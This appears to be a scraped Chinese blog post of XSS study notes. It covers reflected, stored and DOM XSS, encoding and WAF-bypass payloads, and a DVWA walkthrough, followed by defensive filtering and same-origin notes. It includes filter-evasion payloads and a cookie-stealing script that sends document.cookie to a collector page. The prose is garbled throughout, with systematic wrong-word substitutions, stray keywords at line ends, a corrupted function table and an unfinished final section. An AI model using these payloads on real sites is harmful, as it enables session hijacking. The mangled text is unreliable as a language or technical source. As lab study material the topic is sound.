参考网址javascript
测试代码php
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input']; echo '你输入的字符为<br>' . $xss; ?> </body> </html>
输入框输入的值会被输出,因此咱们就输入script标签,就能够实现XSS。测试能够用firefox,chrome有XSS Auditor,之后能够学一下怎么绕过。css
固然XSS不都是这么简单,须要利用输出环境来构造代码。html
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS利用输出的环境来构造代码</title> </head> <body> <center> <h6>把咱们输入的字符串 输出到input里的value属性里</h6> <form action="" method="get"> <h6>请输入你想显现的字符串</h6> <input type="text" name="xss_input_value" value="输入"><br> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input_value']; if (isset($xss)) { echo '<input type="text" value="' . $xss . '">'; } else { echo '<input type="type" value="输出">'; } ?> </center> </body> </html>
输入的字符串输出到另外一个字符串,对于这段代码,咱们能够输入">
来闭合前面的input标签,从而执行后面的js。而原来用来闭合的">
会做为多余的字符串输出,看着不美观。咱们就能够经过其余方法执行,好比标签的属性。使用on事件进行xss," onmousemove="alert('xss')
。java
总之,XSS就是想尽办法在页面上执行js。git
Hacker——发现存在反射XSS的URL——根据输出点的环境构造XSS——编码、缩短——发送给受害人——受害人打开,执行XSS——实现功能(获取cookie、url、浏览器信息、IP等)github
能够经过软件挖XSS,手工的话就针对对话框、数据包、url参数、js分析等方面。web
存储型XSS把数据保存到服务端,而反射型只是让XSS游走在客户端上。ajax
此类XSS不须要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者卢兰包含此恶意代码的页面就会执行恶意代码。通常出如今网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或服务端的数据库中。chrome
DOM-Based XSS基于DOM文档对象模型的,它不须要与服务端进行交互,像反射、存储都须要服务端的反馈来构造XSS,由于服务端对咱们是不可见的,就像通常都是抢客户不是抢银行,固然你要是抢银行那你是真的。
客户端js能够访问浏览器的DOM,所以可以决定用于加载当前页面的URL,也就是js能够经过DOM动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端得到DOM的数据(如从URL中提取数据)并在本地执行。另外一方面,浏览器用户能够操纵DOM中的一些对象,例如URL、Location等。用户在客户端输入的数据若是包含了恶意js,未通过过滤的话就会有DOM XSS。
<html> <head> <title>DOM-XSS test</title> </head> <body> <script> var a=document.URL; document.write(a.substring(a.indexOf("a=")+2,a.length)); </script> </body> </html>
这段代码会截取输入的URL的a=
后的子串,输出到页面上,当咱们输入js代码时就会触发DOM XSS。
修改URL参数的时候,看到的只是GET传输的数据,POST表单的数据是在数据包里。
php获取IP通常就三个函数:HTTP_CLIENT_IP
、HTTP_X_FORWARDED_FOR
、REMOTE_ADDR
,前两个都是能够伪造的,能够修改数据包。
测试网站www.ip138.com
,它能够获取客户端IP。
在burp里抓包,添加一行X-Forwarded-For
,后面的字段就是IP地址,随便输入一个,再放过,就看到网页上显示了伪造的IP。将IP替换为js,就实现了XSS:
Amazing! 真有意思
“第三方劫持”就是把资源域的服务器的权限拿下,替换相关资源,采用“迂回式”的渗透方式。
for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){ var a = document.createElement('a'); a.href = tag.src||tag.href||tag.data; if(a.hostname!=location.hostname){ console.warn(location.hostname+' 发现第三方资源['+tag.localName+']:'+a.href); } }
这段代码能够获取非本站的J/C,以后就能够对目标进行渗透,重写J/C。
就是把反射和存储结合起来,把核心代码写在网站上,而后以XSS触发并调用代码实现攻击。
<!--Ajax.html--> <html> <head> <title>ajax</title> <meta http-equiv="content-type" content="text/html;chaset=utf-8" /> </head> <boby> <script> var xmlhttp; var request_text; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { request_text = xmlhttp.responseText; var a = request_text.indexOf("fortst") + 6; var b = request_text.indexOf("tstrof"); eval(request_text.substring(a, b)); } } xmlhttp.open("POST", "ajax.txt", "true"); xmlhttp.send(); </script> </boby> </html>
这段代码会获取ajax.txt中指定位置的子串,而后以eval的形式运行。
假设网站的留言板存在反射XSS,能够构造on事件,运行
eval(document.boby.innerHTML.substring(document.boby.innerHTML.indexOf('fortst')+6,document.boby.innerHTML.indexOf('tstrof')));
这样就能够执行留言内容中的js,固然能够用正则匹配。
<html> <head> <title>ajax+正则匹配</title> <meta http-equiv="content-type" content="text/html;chaset=utf-8" /> </head> <boby> <script> var xmlhttp; var request_text; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { request_text = xmlhttp.responseText; var text = request_text.match(/fortst(.*)tstrof/i); eval(text[1]); } } xmlhttp.open("POST", "ajax.txt", "true"); xmlhttp.send(); </script> </boby> </html>
URL只容许使用US-ASCII字符集中可打印的字符(0x20-0x7E),其中某些字符在HTTP协议里有特殊的意义,因此有些也不能使用。这里须要注意的,+
加号表明URL编码的空格,%20
也是。
URL编码最多见的是在用GET/POST传输时,将字符转为十六进制。
Unicode有1114112个码位,也就是说能够分配这些个字符,编码的字符已%u
为前缀,后面是这个字符的十六进制的码点。有的站点过滤了某些字符串,可是发现这个站点在后端验证字符的时候,识别unicode编码,就能够用unicode绕过过滤机制。
HTML编码的存在就是让它在代码中和显示中分开,避免错误。它的命名实体:构造是&
加上希腊字母,字符编码:构造是&#
加十进制、十六进制ASCII码或unicode编码,并且浏览器解析的时候会先把HTML编码解析而后进行渲染。但有个前提就是必需要在值里。
不经常使用,就是/
斜杠加上1-6位十六进制,大可能是用于CSS小图标。
<sCrIpt>alert(1)</script>是忽然 <script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript> <scr<script>ript>alalertert</scr</script>ript> (须要利用waf的不完整性) <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script> 标签属性=”javascript:js_code" 只对支持js伪协议的属性起做用 <标签 on事件=“js_code"> <script woaini> alert(123) </script woaini> 浏览器会把换行或TAB符当成空格,把后面的字符看成属性来解析
插件渲染到页面的过程:
用户打开网站—发送数据包—服务器响应并发送Response包—浏览器受到Response包—渲染(先渲染Response包,再渲染插件的代码)
也就是在插件中写了一段js,那么用户安装后,凡打开网站,浏览器渲染后,就能够获取用户的cookie,若是攻击者事先有准备,还能够利用csrf攻击。
黑客发现插件调取的API网站安全漏洞—重写了发送的数据包—插件获取被重写API数据—解析
一些简单的绕过方法
SQL: sEleCt vERsIoN(); XSS: <sCrIpt>alert(1)</scRiPt>
空字符、空格、TAB、换行、注释、特殊的函数,利用网站使用的语言函数特性绕过waf的规则或使用会无视的字符。
对一些字符进行编码,常见的SQL编码有unicode、HEX、URL、ascii、base64等,XSS编码有:HTML、URL、ASCII、JS编码、base64等。
利用浏览器上的进制转换或语言编码规则来绕过waf。
若是过滤了某些字符串,能够在构造:
SQL: selselectect verversionsion(); XSS: <scr<script>ript>alalertert</scr</script>ipt>
利用waf的不完整性,只验证一次字符串或过滤的字符串并不完整。
webkit下的解析器——词法分析器,绕过的时候它来完成。
<iframe src="java script:alert(1)" height=0 width=0 /><iframe> <!--这个能够弹窗--> <iframe src=java script:alert(1); height=0 width=0 /><iframe> <!--这个不能够弹窗-->
回车、换行只在属性中引号里才会起做用。
www.ip138.com
的xss。前面也说过,能够利用第三方插件进行攻击,由于它的权限高,能够跨域。
输入的内容会显示在下面Hello后面,输入<script>alert(/xss/)</script>
,弹窗成功。
<!--payload--> <script>document.location='http://127.0.0.1/get_cookie.php?cookie='+document.cookie;</script> <?php $cookie = $_GET['cookie']; file_put_contents('cookie.txt',$cookie) ?>
// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; }
一次过滤能够大小写或双写绕过。
// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; }
script被全面封杀,能够用img标签
<!--payload--> <img src='x' onerror=alert(/xss/) />
// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken();
htmlspecialchars
函数将代码转为HTML编码格式,是真的nb。
不过当在script、input标签中时,便可突破。
<!--payload--> ' oninput=alert(/xss/) ' $name = htmlspecialchars( $_GET[ 'name' ] ); $html .= "<input type='text' value=' ${name}'>";
要求输入name和message,输入的值会输出到下面,name有长度限制,在message中直接<script>alert(/xss/)</script>
,sign,成功。能够用burp改包突破长度限制。
// Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name );
message过滤得很nb,用burp改name就好了。
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name )
message仍是上面的,name这里封杀了script,用img
<!--payload--> <img src='x' onerror=alert(/xss/) />
message和name都是过滤,没办法。
没有进行任何过滤,直接?default=<script>alert(/xss/)</script>
就行。
if (stripos ($default, "<script") !== false) { header ("location: ?default=English");
用img标签,输入<img src='x' onerror=alert(/xss/)>
获得
<option value="%3Cimg%20src=1%20onerror=alert%28%27hack%27%29%3E"></option>
发现填入了属性,那就先闭合option标签,而后再闭合前面的select标签,
<!--payload--> "></option></select><img src='x' onerror=alert(/xss/) >
php用的是白名单,网上带哥说是能够用#截断,后面的内容不会被提交到服务器,能够直接与浏览器交互。
<!--payload--> English#<script>alert(/xss/)</script>
XSS漏洞的原由就是没有对用户提交的数据进行严格的过滤处理,修复XSS漏洞就在于如何更好的将用户提交的数据进行安全过滤。
在HTML中有些字符像<
,对HTML有特殊意义,要显示这些字符,必须使用实体字符。
HTML实体的存在是致使XSS漏洞的主要缘由之一。
所以须要将这些实体所有转换为相应的实体编号。
显示 | 实体名称 |
---|---|
' ' |
|
< |
< |
> |
> |
| &
| &
|
| "
| "
|
| '
| '
|
用户将数据提交上来的时候进行HTML解码,将相应的符号转换为实体名称再进行下一步的处理。
在PHP中已经存在这样子功能的函数,即htmlentities($str)
函数。
与之相反的就是html_entity_decode($str)
函数,它将实体名称转换为相应的符号。
过滤过滤过滤!
document.cookie
语句就不能获取到cookie。<script>,<iframe>,$lt; for <, $gt; for >,$quot for "
。onclick=, onfocus=
等等。funtions | 功能 |
---|---|
strip_tags(\(str, [容许标签]) | 从字符串中去除 HTML 和 PHP 标记 | | htmlentities(\)str) | 转义html实体 |
html_entity_decode(\(str) | 反转义html实体 | | addcslashes(\)str, ‘字符’) | 给某些字符加上反斜杠 |
stripcslashes(\(str) | 去掉反斜杠 | | addslashes (\)str ) | 单引号、双引号、反斜线与 NULL加反斜杠 |
stripslashes($str) | 去掉反斜杠 |
htmlspecialchars() | 特殊字符转换为HTML实体 |
htmlspecialchars_decode() | 将特殊的 HTML 实体转换回普通字符 |
作了一下闯关小游戏,大多数xss的原理仍是比较简单的。
在这个策略下,web浏览器容许第一个页面的脚本访问第二个页面的数据,可是也只有在两个页面有相同的源时。源是由URI、主机名、端口号组成的。这个策略能够阻止一个页面上的恶意脚本经过页面的DOM对象得到访问另外一个页面上敏感信息的权限。
对于绝对的URIs,源就是{协议、主机、端口}定义的,只有这些值彻底同样才认为两个资源是同源的。
<script src="...">, <img>, <link>, <iframe>
等。浏览器从一个域名的网页请求另外一个域名的资源时,域名、端口、协议任一不一样,都是跨域。
如何解决跨域问题